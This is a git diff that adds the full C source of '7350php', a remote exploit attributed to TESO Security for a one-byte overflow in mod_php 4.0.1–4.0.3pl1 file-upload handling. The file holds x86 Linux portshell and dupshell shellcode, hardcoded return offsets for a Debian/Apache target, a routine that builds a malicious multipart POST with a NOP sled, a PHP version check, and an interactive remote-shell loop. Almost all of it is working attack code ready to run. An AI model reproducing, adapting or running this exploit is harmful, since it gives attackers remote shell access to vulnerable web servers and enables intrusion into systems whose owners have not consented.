diff options
Diffstat (limited to 'exploits/7350php/7350php.c')
| -rw-r--r-- | exploits/7350php/7350php.c | 376 |
1 files changed, 376 insertions, 0 deletions
diff --git a/exploits/7350php/7350php.c b/exploits/7350php/7350php.c new file mode 100644 index 0000000..32488b9 --- /dev/null +++ b/exploits/7350php/7350php.c | |||
| @@ -0,0 +1,376 @@ | |||
| 1 | /* 7350php - x86/linux mod_php v4.0.1-v4.0.3p1 remote exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 14 | * All Rights Reserved | ||
| 15 | * | ||
| 16 | ***************************************************************************** | ||
| 17 | * bug found by lorian | ||
| 18 | * exploit by lorian | ||
| 19 | * thanks to scut for his network lib | ||
| 20 | * | ||
| 21 | * this exploits a one byte overflow in the mod_php file upload | ||
| 22 | * handling routine. because apache is a very heavily used daemon | ||
| 23 | * you maybe need several tries with the same offset for the exploit | ||
| 24 | * to work. on my system 2 tries were always enough to get either | ||
| 25 | * a dup- or a portshell. but because of the way apache works you have | ||
| 26 | * unlimited tries anyway. | ||
| 27 | * i have only tested on one system so far but i think the retaddr will | ||
| 28 | * not differ soo much on different installations. because of the | ||
| 29 | * unlimited tried one can maybe bruteforce the retloc. | ||
| 30 | */ | ||
| 31 | |||
| 32 | #define VERSION "0.0.1" | ||
| 33 | |||
| 34 | #include <sys/types.h> | ||
| 35 | #include <sys/time.h> | ||
| 36 | #include <sys/socket.h> | ||
| 37 | #include <netinet/in.h> | ||
| 38 | #include <netdb.h> | ||
| 39 | #include <errno.h> | ||
| 40 | #include <fcntl.h> | ||
| 41 | #include <unistd.h> | ||
| 42 | #include <stdio.h> | ||
| 43 | #include <stdlib.h> | ||
| 44 | #include <string.h> | ||
| 45 | #include <time.h> | ||
| 46 | |||
| 47 | #include "common.h" | ||
| 48 | #include "network.h" | ||
| 49 | |||
| 50 | int force = 0; /* force exploitation */ | ||
| 51 | int checkonly = 0; /* check only */ | ||
| 52 | int targetsys = 0; /* system */ | ||
| 53 | int portshell = 0; /* create portshell */ | ||
| 54 | int numtargets; /* number of offsets */ | ||
| 55 | |||
| 56 | /* data for target 1 */ | ||
| 57 | int retloc = 0x40284668; | ||
| 58 | int retaddr = 0x08101010; | ||
| 59 | |||
| 60 | |||
| 61 | void usage (char *progname); | ||
| 62 | int xp_check (int fd, char *host); | ||
| 63 | void xp (int fd, char *host, char *phpfile); | ||
| 64 | void shell (int sock); | ||
| 65 | |||
| 66 | /* x86/linux PIC portshell shellcode | ||
| 67 | * by palmers/teso | ||
| 68 | * port 0x5073 (might want to change it here) | ||
| 69 | */ | ||
| 70 | unsigned char x86_linux_portshell[] = | ||
| 71 | "\x8b\xe5" | ||
| 72 | "\x31\xc0\x99\x50\xfe\xc0\x89\xc3\x50\xfe\xc0\x50" | ||
| 73 | "\x89\xe1\xb0\x66\xcd\x80\x52\x66\x68\x50\x73\x66" | ||
| 74 | "\x52\x89\xe2\x6a\x10\x52\x50\x89\xe1\xfe\xc3\x89" | ||
| 75 | "\xc2\xb0\x66\xcd\x80\x80\xc3\x02\xb0\x66\xcd\x80" | ||
| 76 | "\x50\x52\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3" | ||
| 77 | "\x31\xc9\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" | ||
| 78 | "\xfe\xc1\xb0\x3f\xcd\x80\xb0\x0b\x99\x52\x68\x6e" | ||
| 79 | "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" | ||
| 80 | "\x89\xe1\xcd\x80"; | ||
| 81 | |||
| 82 | /* x86/linux PIC dupshell shellcode | ||
| 83 | * by lorian/teso | ||
| 84 | */ | ||
| 85 | unsigned char x86_linux_dupshell[] = | ||
| 86 | "\x8b\xe5" | ||
| 87 | "\x31\xc0\x31\xdb\xb3\x03\x31\xc9\xb0\x3f\xcd\x80" | ||
| 88 | "\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" | ||
| 89 | "\xb0\x0b\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f" | ||
| 90 | "\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; | ||
| 91 | |||
| 92 | unsigned char * shellcode = x86_linux_dupshell; | ||
| 93 | |||
| 94 | /* | ||
| 95 | * Defined Offsets | ||
| 96 | */ | ||
| 97 | |||
| 98 | typedef struct { | ||
| 99 | unsigned int retloc; | ||
| 100 | unsigned int retaddr; | ||
| 101 | char *system; | ||
| 102 | } target; | ||
| 103 | |||
| 104 | target targets[] = { | ||
| 105 | { 0x40284668, 0x08101010, "Debian 2.2r3 / Apache 1.3.20 / PHP 4.0.3" }, | ||
| 106 | { 0, 0, NULL } | ||
| 107 | }; | ||
| 108 | |||
| 109 | |||
| 110 | void | ||
| 111 | usage (char *progname) | ||
| 112 | { | ||
| 113 | int i; | ||
| 114 | fprintf (stderr, "usage: %s [options] <hostname> <phpfile>\n\n", progname); | ||
| 115 | fprintf (stderr, "Options:\n -c\t\tcheck exploitability only, do not exploit\n" | ||
| 116 | " -f\t\tforce mode, override check results\n" | ||
| 117 | " -l retloc\tset retlocation\n" | ||
| 118 | " -a retaddr\tset return address\n" | ||
| 119 | " -t target\tchoose target\n"); | ||
| 120 | for (i=0; i<numtargets; i++) { | ||
| 121 | fprintf (stderr, "\t\t(%d) %s\n", i+1, targets[i].system); | ||
| 122 | } | ||
| 123 | fprintf (stderr, "\n"); | ||
| 124 | |||
| 125 | exit (EXIT_FAILURE); | ||
| 126 | } | ||
| 127 | |||
| 128 | int | ||
| 129 | main (int argc, char *argv[]) | ||
| 130 | { | ||
| 131 | char c; | ||
| 132 | char * progname; | ||
| 133 | char * dest; | ||
| 134 | char * phpfile; | ||
| 135 | int fd; | ||
| 136 | |||
| 137 | fprintf (stderr, "7350php - x86/linux mod_php v4.0.1-v4.0.3pl1 remote exploit\n" | ||
| 138 | "by lorian.\n\n"); | ||
| 139 | |||
| 140 | /* check how many targets we have */ | ||
| 141 | numtargets = 0; | ||
| 142 | while (targets[numtargets].system) numtargets++; | ||
| 143 | |||
| 144 | progname = argv[0]; | ||
| 145 | if (argc < 3) | ||
| 146 | usage (progname); | ||
| 147 | |||
| 148 | while ((c = getopt (argc, argv, "cfg:t:a:l:p")) != EOF) { | ||
| 149 | switch (c) { | ||
| 150 | case 'c': | ||
| 151 | checkonly = 1; | ||
| 152 | break; | ||
| 153 | case 'f': | ||
| 154 | force = 1; | ||
| 155 | break; | ||
| 156 | case 't': | ||
| 157 | targetsys = (atoi (optarg)-1) % numtargets; | ||
| 158 | retloc = targets[targetsys].retloc; | ||
| 159 | retaddr = targets[targetsys].retaddr; | ||
| 160 | break; | ||
| 161 | case 'a': | ||
| 162 | retaddr = atoi (optarg); | ||
| 163 | break; | ||
| 164 | case 'l': | ||
| 165 | retloc = atoi (optarg); | ||
| 166 | break; | ||
| 167 | case 'p': | ||
| 168 | portshell = 1; | ||
| 169 | shellcode = x86_linux_portshell; | ||
| 170 | break; | ||
| 171 | default: | ||
| 172 | usage (progname); | ||
| 173 | break; | ||
| 174 | } | ||
| 175 | } | ||
| 176 | |||
| 177 | dest = argv[argc - 2]; | ||
| 178 | if (dest[0] == '-') | ||
| 179 | usage (progname); | ||
| 180 | |||
| 181 | phpfile = argv[argc - 1]; | ||
| 182 | if (phpfile[0] == '-') | ||
| 183 | usage (progname); | ||
| 184 | |||
| 185 | |||
| 186 | fd = net_connect (NULL, dest, 80, NULL, 0, 20); | ||
| 187 | if (fd <= 0) { | ||
| 188 | fprintf (stderr, "failed to connect\n"); | ||
| 189 | exit (EXIT_FAILURE); | ||
| 190 | } | ||
| 191 | |||
| 192 | if (xp_check (fd, dest) == 0 && force == 0) { | ||
| 193 | printf ("aborting\n"); | ||
| 194 | #ifndef DEBUG | ||
| 195 | exit (EXIT_FAILURE); | ||
| 196 | #endif | ||
| 197 | } | ||
| 198 | close (fd); | ||
| 199 | |||
| 200 | if (checkonly) | ||
| 201 | exit (EXIT_SUCCESS); | ||
| 202 | |||
| 203 | fd = net_connect (NULL, dest, 80, NULL, 0, 20); | ||
| 204 | if (fd <= 0) { | ||
| 205 | fprintf (stderr, "failed to connect the second time\n"); | ||
| 206 | exit (EXIT_FAILURE); | ||
| 207 | } | ||
| 208 | |||
| 209 | srand (time (NULL)); | ||
| 210 | |||
| 211 | printf ("\n## sending POST header ...\n"); | ||
| 212 | |||
| 213 | xp (fd, dest, phpfile); | ||
| 214 | |||
| 215 | printf ("\n## done ...\n\n"); | ||
| 216 | |||
| 217 | if (!portshell) { | ||
| 218 | printf ("## you should be connected to a dup-shell now\n"); | ||
| 219 | printf ("## if not simply try again\n"); | ||
| 220 | printf ("command> "); | ||
| 221 | fflush (stdout); | ||
| 222 | shell (fd); | ||
| 223 | } else { | ||
| 224 | printf ("## there should be a portshell on port 20595 now\n"); | ||
| 225 | printf ("## if not simply try again\n"); | ||
| 226 | } | ||
| 227 | |||
| 228 | exit (EXIT_SUCCESS); | ||
| 229 | } | ||
| 230 | |||
| 231 | |||
| 232 | void | ||
| 233 | xp (int fd, char *host, char *phpfile) | ||
| 234 | { | ||
| 235 | int i, n; | ||
| 236 | unsigned char *bchars="0123456789abcdef"; | ||
| 237 | unsigned char boundary[43]; | ||
| 238 | unsigned char buffer[1024*1024]; | ||
| 239 | unsigned char *content = buffer; | ||
| 240 | unsigned char namebuf[1024]; | ||
| 241 | |||
| 242 | /* construct boundary tag */ | ||
| 243 | boundary[40] = '\0'; | ||
| 244 | memset (boundary, '-', 29); | ||
| 245 | for (i=27; i<40; i++) boundary[i]=bchars[rand () & 15]; | ||
| 246 | |||
| 247 | /* construct namebuffer */ | ||
| 248 | memset (namebuf, 0xcc, 109+8*30); | ||
| 249 | namebuf[109+8*30] = '\0'; | ||
| 250 | namebuf[108+8*30] = ']'; | ||
| 251 | namebuf[8] = '['; | ||
| 252 | |||
| 253 | |||
| 254 | *(int *)&namebuf[8+240+0+1-4] = 0xfffffffc; | ||
| 255 | *(int *)&namebuf[8+240+4+1-4] = 0xfffffffc; | ||
| 256 | *(int *)&namebuf[8+240+8+1-4] = retloc-12; | ||
| 257 | *(int *)&namebuf[8+240+12+1-4] = retaddr; | ||
| 258 | |||
| 259 | /* construct content */ | ||
| 260 | content += sprintf (content, "%s\r\n" | ||
| 261 | "Content-Disposition: form-data; name=\"", boundary); | ||
| 262 | memcpy (content, namebuf, 109+8*30); | ||
| 263 | content += 109+8*30; | ||
| 264 | content += sprintf (content, "\"; filename=\"a\"\r\n" | ||
| 265 | "Content-Type: text/plain\r\n\r\n" | ||
| 266 | "Hallo\r\n" | ||
| 267 | "\r\n" | ||
| 268 | "%s\r\n" | ||
| 269 | "Content-Disposition: form-data; name=\"aaaa[a]\"; filename=\"a\"\r\n" | ||
| 270 | "Content-Type: text/plain\r\n\r\n", boundary); | ||
| 271 | |||
| 272 | /* add "jump nops" */ | ||
| 273 | for (i=0; i<100000; i++) { | ||
| 274 | *content++ = 0xeb; | ||
| 275 | *content++ = 0x7e; | ||
| 276 | } | ||
| 277 | /* append "nops" */ | ||
| 278 | for (i=0; i<150; i++) { | ||
| 279 | *content++ = 0x43; | ||
| 280 | } | ||
| 281 | /* append shellcode */ | ||
| 282 | content += sprintf (content, "%s", shellcode); | ||
| 283 | |||
| 284 | /* close with boundary tag */ | ||
| 285 | content += sprintf (content, "\r\n" | ||
| 286 | "%s--\r\n", boundary); | ||
| 287 | |||
| 288 | /* construct and send POST header */ | ||
| 289 | net_write (fd, "POST /%s HTTP/1.1\r\n" | ||
| 290 | "Host: %s\r\n" | ||
| 291 | "Content-Type: multipart/form-data; boundary=%s\r\n" | ||
| 292 | "Content-Length: %d\r\n" | ||
| 293 | "Connection: Keep-Alive\r\n" | ||
| 294 | "\r\n" | ||
| 295 | ,phpfile, host, boundary+2, content-buffer); | ||
| 296 | |||
| 297 | i = content-buffer; | ||
| 298 | content = buffer; | ||
| 299 | n = send (fd, content, i, 0); | ||
| 300 | while ((n > 0)&&(i > 0)) { | ||
| 301 | content += n; | ||
| 302 | i -= n; | ||
| 303 | n = send (fd, content, i, 0); | ||
| 304 | } | ||
| 305 | |||
| 306 | } | ||
| 307 | |||
| 308 | |||
| 309 | int | ||
| 310 | xp_check (int fd, char *host) | ||
| 311 | { | ||
| 312 | int n; | ||
| 313 | unsigned char buf[1024]; | ||
| 314 | char *version; | ||
| 315 | int found = 0; | ||
| 316 | |||
| 317 | printf ("## Checking for vulnerable PHP version...\n"); | ||
| 318 | net_write (fd, "HEAD / HTTP/1.1\r\n" | ||
| 319 | "Host: %s\r\n" | ||
| 320 | "\r\n", host); | ||
| 321 | |||
| 322 | n = 10; | ||
| 323 | while ((n > 2)&&(!found)) | ||
| 324 | { | ||
| 325 | n = net_rlinet (fd, buf, sizeof (buf)-1, 0); | ||
| 326 | if ((strncasecmp (buf, "Server:", 7) == 0) || | ||
| 327 | (strncasecmp (buf, "X-Powered-By:", 13) == 0)) | ||
| 328 | { | ||
| 329 | version = strstr (buf, "PHP/4.0."); | ||
| 330 | if (version) { | ||
| 331 | if ((*(version+8) >= '1') && | ||
| 332 | (*(version+8) <= '3')) found=1; | ||
| 333 | } | ||
| 334 | } | ||
| 335 | } | ||
| 336 | |||
| 337 | if (found) printf ("## check: PASSED\n"); | ||
| 338 | else printf ("## check: FAILED\n"); | ||
| 339 | |||
| 340 | return (found); | ||
| 341 | } | ||
| 342 | |||
| 343 | |||
| 344 | void | ||
| 345 | shell (int sock) | ||
| 346 | { | ||
| 347 | int l; | ||
| 348 | char buf[512]; | ||
| 349 | fd_set rfds; | ||
| 350 | |||
| 351 | |||
| 352 | while (1) { | ||
| 353 | FD_SET (0, &rfds); | ||
| 354 | FD_SET (sock, &rfds); | ||
| 355 | |||
| 356 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 357 | if (FD_ISSET (0, &rfds)) { | ||
| 358 | l = read (0, buf, sizeof (buf)); | ||
| 359 | if (l <= 0) { | ||
| 360 | perror ("read user"); | ||
| 361 | exit (EXIT_FAILURE); | ||
| 362 | } | ||
| 363 | write (sock, buf, l); | ||
| 364 | } | ||
| 365 | |||
| 366 | if (FD_ISSET (sock, &rfds)) { | ||
| 367 | l = read (sock, buf, sizeof (buf)); | ||
| 368 | if (l <= 0) { | ||
| 369 | perror ("read remote"); | ||
| 370 | exit (EXIT_FAILURE); | ||
| 371 | } | ||
| 372 | write (1, buf, l); | ||
| 373 | } | ||
| 374 | } | ||
| 375 | } | ||
| 376 | |||
